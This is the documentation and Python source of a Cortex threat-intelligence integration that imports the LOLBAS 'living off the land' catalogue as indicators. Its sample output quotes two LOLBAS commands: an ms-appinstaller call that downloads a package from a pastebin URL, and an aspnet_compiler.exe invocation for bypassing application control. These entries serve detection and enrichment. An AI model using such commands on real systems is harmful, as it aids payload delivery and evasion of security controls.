LOLBAS Feed

"Living off the land binaries" is a term used to describe malware or hacking techniques that take advantage of legitimate tools and processes that are already present on a computer or network, rather than introducing new malware or malicious code. The goal is to blend in with normal activity and avoid detection. Examples of this include using built-in Windows commands to move laterally through a network, or using scripting languages that are commonly installed on a system to execute malicious code. LOLBAS project is documenting binaries, scripts, and libraries that can be used for Living Off The Land techniques.

Data Enrichment & Threat Intelligence · LOLBAS Feed · Feed

Details

IDLOLBAS Feed
ProviderOpen Source
CategoryData Enrichment & Threat Intelligence
From Version6.8.0
Docker Imagedemisto/python3:3.12.13.10116658
Supported ModulesAgentix XSIAM EDR Cortex Cloud Cloud Runtime Security

README

This integration was integrated and tested with version v1 of LOLBAS.

Configure LOLBAS Feed in Cortex

Parameter Description Required
Base URL   True
Fetch indicators   False
Indicator Reputation Indicators from this integration instance will be marked with this reputation. False
Source Reliability Reliability of the source providing the intelligence data. True
Traffic Light Protocol Color The Traffic Light Protocol (TLP) designation to apply to indicators fetched from the feed. False
Bypass exclusion list When selected, the exclusion list is ignored for indicators from this feed. This means that if an indicator from this feed is on the exclusion list, the indicator might still be added to the system. False
Use system proxy settings   False
Trust any certificate (not secure)   False
Tags Supports CSV values. False
Create relationships   False
Feed Fetch Interval   False

Commands

You can execute these commands from the CLI, as part of an automation, or in a playbook.
After you successfully execute a command, a DBot message appears in the War Room with the command details.

lolbas-get-indicators


Retrieves a limited number of indicators.

Base Command

lolbas-get-indicators

Input

Argument Name Description Required
limit The maximum number of indicators to return. Required

Context Output

Path Type Description
LOLBAS.Indicators.Commands.category String The category of the command.
LOLBAS.Indicators.Commands.command String The command.
LOLBAS.Indicators.Commands.description String The description of the command.
LOLBAS.Indicators.Commands.mitreid String The MITRE ID related to the command.
LOLBAS.Indicators.Commands.operatingsystem String The operating system the command ran on.
LOLBAS.Indicators.Commands.privileges String The privileges required to run the command.
LOLBAS.Indicators.Commands.usecase String The use case of the command.
LOLBAS.Indicators.Description String The description of the indicator.
LOLBAS.Indicators.Detections.content String The content of the detection.
LOLBAS.Indicators.Detections.type String The type of the detection.
LOLBAS.Indicators.Name String The name of the indicator.
LOLBAS.Indicators.Paths.path String The path of the indicator.
LOLBAS.Indicators.Type String The type of the indicator.
LOLBAS.Indicators.URL String The URL to the indicator.

Command example

!lolbas-get-indicators limit=2

Context Example

{
    "LOLBAS": {
        "Indicators": [
            {
                "Commands": [
                    {
                        "category": "Download",
                        "command": "start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw",
                        "description": "AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in C:\\Users\\%username%\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\AC\\INetCache\\<RANDOM-8-CHAR-DIRECTORY>",
                        "mitreid": "Ingress Tool Transfer",
                        "operatingsystem": "Windows 10, Windows 11",
                        "privileges": "User",
                        "usecase": "Download file from Internet"
                    }
                ],
                "Description": "Tool used for installation of AppX/MSIX applications on Windows 10",
                "Detections": [
                    {
                        "content": "https://github.com/SigmaHQ/sigma/blob/bdb00f403fd8ede0daa04449ad913200af9466ff/rules/windows/dns_query/win_dq_lobas_appinstaller.yml",
                        "type": "Sigma"
                    }
                ],
                "Name": "AppInstaller.exe",
                "Paths": [
                    {
                        "path": "C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\\AppInstaller.exe"
                    }
                ],
                "Type": "Tool",
                "URL": "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/"
            },
            {
                "Commands": [
                    {
                        "category": "AWL Bypass",
                        "command": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe -v none -p C:\\users\\cpl.internal\\desktop\\asptest\\ -f C:\\users\\cpl.internal\\desktop\\asptest\\none -u",
                        "description": "Execute C# code with the Build Provider and proper folder structure in place.",
                        "mitreid": "Trusted Developer Utilities Proxy Execution",
                        "operatingsystem": "Windows 10, Windows 11",
                        "privileges": "User",
                        "usecase": "Execute proxied payload with Microsoft signed binary to bypass application control solutions"
                    }
                ],
                "Description": "ASP.NET Compilation Tool",
                "Detections": [
                    {
                        "content": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules",
                        "type": "BlockRule"
                    },
                    {
                        "content": "https://github.com/SigmaHQ/sigma/blob/960a03eaf480926ed8db464477335a713e9e6630/rules/windows/process_creation/win_pc_lobas_aspnet_compiler.yml",
                        "type": "Sigma"
                    }
                ],
                "Name": "Aspnet_Compiler.exe",
                "Paths": [
                    {
                        "path": "c:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe"
                    },
                    {
                        "path": "c:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe"
                    }
                ],
                "Type": "Tool",
                "URL": "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/"
            }
        ]
    }
}

Human Readable Output

LOLBAS indicators

Name Description
AppInstaller.exe Tool used for installation of AppX/MSIX applications on Windows 10
Aspnet_Compiler.exe ASP.NET Compilation Tool

Configuration parameters

  • base_url — Base URL (required)
  • feed — Fetch indicators
  • feedReputation — Indicator Reputation
  • feedReliability — Source Reliability
  • tlp_color — Traffic Light Protocol Color
  • feedExpirationInterval
  • feedBypassExclusionList — Bypass exclusion list
  • proxy — Use system proxy settings
  • insecure — Trust any certificate (not secure)
  • feedTags — Tags
  • create_relationships — Create relationships
  • feedExpirationPolicy
  • feedFetchInterval — Feed Fetch Interval

Commands (1)

  • lolbas-get-indicators

    Retrieves a limited number of indicators.

from typing import Any

import demistomock as demisto
import urllib3
from CommonServerPython import *  # noqa # pylint: disable=unused-wildcard-import

from CommonServerUserPython import *  # noqa

# Disable insecure warnings
urllib3.disable_warnings()

""" CONSTANTS """
MITRE_URL = "https://raw.githubusercontent.com/mitre-attack/attack-stix-data/master/enterprise-attack/enterprise-attack.json"

DEFAULT_FEED_TAGS = {"LOLBAS"}
""" CLIENT CLASS """


class Client(BaseClient):
    """Client class to interact with the service API"""

    def __init__(
        self, base_url: str, verify: bool, proxy: bool, create_relationships: bool, feed_tags: list[str], tlp_color: str
    ):
        super().__init__(base_url=base_url, verify=verify, proxy=proxy)
        self.create_relationships = create_relationships
        self.feed_tags = feed_tags
        self.tlp_color = tlp_color
        self.verify = verify
        self.proxy = proxy

    def get_indicators(self):  # pragma: no cover
        """
        Get indicators from LOLBAS API.
        """
        demisto.debug("Getting indicators from lolbas api.")
        return self._http_request("GET", "/lolbas.json", resp_type="json")

    def get_mitre_data(self) -> list[dict[str, Any]]:
        """
        Get MITRE data from GitHub.
        """
        headers = {"Content-Type": "application/taxii+json", "Accept": "application/vnd.oasis.taxii+json; version=2.0"}
        return self._http_request(full_url=MITRE_URL, method="GET", headers=headers, resp_type="json").get("objects", [])


""" COMMAND FUNCTIONS """


def test_module(client: Client):  # pragma: no cover
    """Tests API connectivity and authentication'

    Returning 'ok' indicates that the integration works like it is supposed to.
    Connection to the service is successful.
    Raises exceptions if something goes wrong.

    :type client: ``Client``
    :param Client: client to use

    :return: 'ok' if test passed, anything else will fail the test.
    :rtype: ``str``
    """
    client.get_indicators()
    return_results("ok")


def create_relationship_list(indicator: dict[str, Any]) -> list[dict[str, Any]]:
    """
    Create relationships between indicators.
    For example, if an indicator has a MITRE ID, create a relationship between the indicator and the MITRE ID.
    """
    relationships = []
    entity_a = indicator.get("value")
    for command in indicator.get("fields", {}).get("Commands", []):
        if mitre_id := command.get("mitrename"):
            relation_obj = EntityRelationship(
                name=EntityRelationship.Relationships.RELATED_TO,
                entity_a=entity_a,
                entity_a_type=ThreatIntel.ObjectsNames.TOOL,
                entity_b=mitre_id,
                entity_b_type=ThreatIntel.ObjectsNames.ATTACK_PATTERN,
            )
            relationships.append(relation_obj.to_indicator())
    return relationships


def map_indicator_fields(raw_indicator: dict[str, Any]) -> dict[str, Any]:
    command_keys = ["Command", "Description", "Usecase", "Category", "Privileges", "MitreID", "OperatingSystem", "MitreName"]

    mapped_commands = []
    mapped_detections = []
    mapped_paths = []
    commands = raw_indicator.get("Commands", [])
    detections = raw_indicator.get("Detection", [])
    paths = raw_indicator.get("Full_Path", [])
    if commands:
        for command in commands:
            mapped_commands.append({lolbas_field.lower(): command.get(lolbas_field) for lolbas_field in command_keys})
    if detections:
        for detection in detections:
            if detection_keys := list(detection.keys()):
                mapped_detections.append({"type": detection_keys[0], "content": detection.get(detection_keys[0])})
    if paths:
        for path in paths:
            mapped_paths.append({"path": path.get("Path")})

    return {
        "Commands": mapped_commands,
        "Detections": mapped_detections,
        "Paths": mapped_paths,
        "description": raw_indicator.get("Description"),
        "url": raw_indicator.get("url"),
    }


def build_indicator_custom_fields(client: Client) -> dict[str, Any]:
    """
    Map MITRE ID to MITRE name.
    """
    result_map = {}

    mitre_data = client.get_mitre_data()
    # filter only the attack-pattern objects.
    mitre_data = [obj for obj in mitre_data if obj.get("type") == "attack-pattern"]
    # build a dictionary list of mitre_id: mitre_name.
    for obj in mitre_data:
        external_refs = list(obj.get("external_references", []))
        for external_ref in external_refs:
            mitre_name = obj.get("name")
            if mitre_id := external_ref.get("external_id"):
                result_map[mitre_id] = mitre_name
    for mitre_id in result_map:
        if len(mitre_id.split(".")) == 2:
            main_mitre_id = mitre_id.split(".")[0]
            result_map[mitre_id] = f"{result_map[main_mitre_id]}: {result_map[mitre_id]}"
    return result_map


def build_mitre_tags(raw_indicator: dict[str, Any], mitre_id_to_name: dict[str, str]) -> list[str]:
    """
    Returns an extended MITRE tags list of a single indicator.
    """
    mitre_tags = []
    for command in raw_indicator.get("Commands", []):
        if mitre_id := command.get("MitreID", ""):
            mitre_name = mitre_id_to_name.get(mitre_id, "")
            command["MitreName"] = mitre_name
            mitre_tags.extend([mitre_name, mitre_id, command.get("Category")])
    return mitre_tags


def build_indicators(client: Client, raw_indicators: list[dict[str, Any]]) -> list[dict[str, Any]]:
    """
    Builds indicators JSON data in XSOAR expected format from the raw response.
    """
    demisto.debug(f"Creating {len(raw_indicators)} indicators.")
    indicators: list[dict[str, Any]] = []
    mitre_id_to_name = build_indicator_custom_fields(client)

    for raw_indicator in raw_indicators:
        additional_tags = build_mitre_tags(raw_indicator, mitre_id_to_name)

        indicator: dict[str, Any] = {
            "type": ThreatIntel.ObjectsNames.TOOL,
            "value": raw_indicator.get("Name"),
            "fields": map_indicator_fields(raw_indicator),
            "rawJSON": raw_indicator,
        }
        if tlp_color := client.tlp_color:
            indicator["fields"]["trafficlightprotocol"] = tlp_color
        if feed_tags := client.feed_tags:
            indicator["fields"]["tags"] = feed_tags + additional_tags
        if client.create_relationships:
            indicator["relationships"] = create_relationship_list(indicator)
        indicators.append(indicator)
    return indicators


def create_relationships(indicator: dict[str, Any]) -> list[dict[str, Any]]:
    """
    Create relationships between indicators.
    """
    demisto.debug("Creating relationships.")
    return create_relationship_list(indicator)


def fetch_indicators(client: Client, limit: int = None) -> list[dict[str, Any]] | tuple[list[dict[str, Any]], str]:
    """
    Fetch indicators from LOLBAS API and create indicators in XSOAR.
    """
    response = client.get_indicators()
    indicators = build_indicators(client, response)
    if limit:
        return indicators[:limit], response
    return indicators, response


""" MAIN FUNCTION """


def get_indicators(client, limit):
    """
    Get indicators from LOLBAS API, mainly for debug.
    """
    hr_list = []
    output_list = []

    if limit and limit <= 0:
        raise ValueError("Limit must be a positive number.")
    indicators, raw_res = fetch_indicators(client, limit)
    indicators = indicators[:limit] if isinstance(indicators, list) else [indicators] if indicators else []
    for record in indicators:
        hr = {"Name": record.get("value"), "Description": record.get("fields", {}).get("description")}
        hr_list.append(hr)
        output_list.append(
            {
                "Type": record.get("type"),
                "Commands": record.get("fields", {}).get("Commands"),
                "Detections": record.get("fields", {}).get("Detections"),
                "Paths": record.get("fields", {}).get("Paths"),
                "URL": record.get("fields", {}).get("url"),
            }
            | hr
        )
    return CommandResults(
        outputs=output_list,
        outputs_prefix="LOLBAS.Indicators",
        raw_response=raw_res,
        readable_output=tableToMarkdown("LOLBAS indicators", hr_list, headers=["Name", "Description"]),
        outputs_key_field="Name",
    )


def main() -> None:  # pragma: no cover
    """main function, parses params and runs command functions

    :return:
    :rtype:
    """
    params = demisto.params()
    base_url = params.get("base_url")
    verify_certificate = not params.get("insecure", False)
    proxy = params.get("proxy", False)
    create_relationships = params.get("create_relationships", True)
    # Append default tags.
    feed_tags = list(set(argToList(params.get("feedTags", []))) | DEFAULT_FEED_TAGS)
    tlp_color = params.get("tlp_color", "")
    command = demisto.command()

    demisto.info(f"Command being called is {command}")
    try:
        client = Client(
            base_url=base_url,
            verify=verify_certificate,
            proxy=proxy,
            create_relationships=create_relationships,
            feed_tags=feed_tags,
            tlp_color=tlp_color,
        )

        if command == "test-module":
            test_module(client)
        elif command == "fetch-indicators":
            indicators, _ = fetch_indicators(client)
            for iter_ in batch(indicators, batch_size=2000):
                try:
                    demisto.createIndicators(iter_)
                except Exception:
                    # find problematic indicator
                    for indicator in iter_:
                        try:
                            demisto.createIndicators([indicator])
                        except Exception as err:
                            demisto.debug(
                                f"createIndicators Error: failed to create the following indicator: {indicator}\n {err}"
                            )
                    raise
        elif command == "lolbas-get-indicators":
            limit = arg_to_number(demisto.args().get("limit", None))
            return_results(get_indicators(client, limit))
        else:
            raise NotImplementedError(f'Command "{command}" is not implemented.')

    except Exception as e:
        return_error(f"Failed to execute {demisto.command()} command.\nError:\n{e!s}")


""" ENTRY POINT """

if __name__ in ("__main__", "__builtin__", "builtins"):
    main()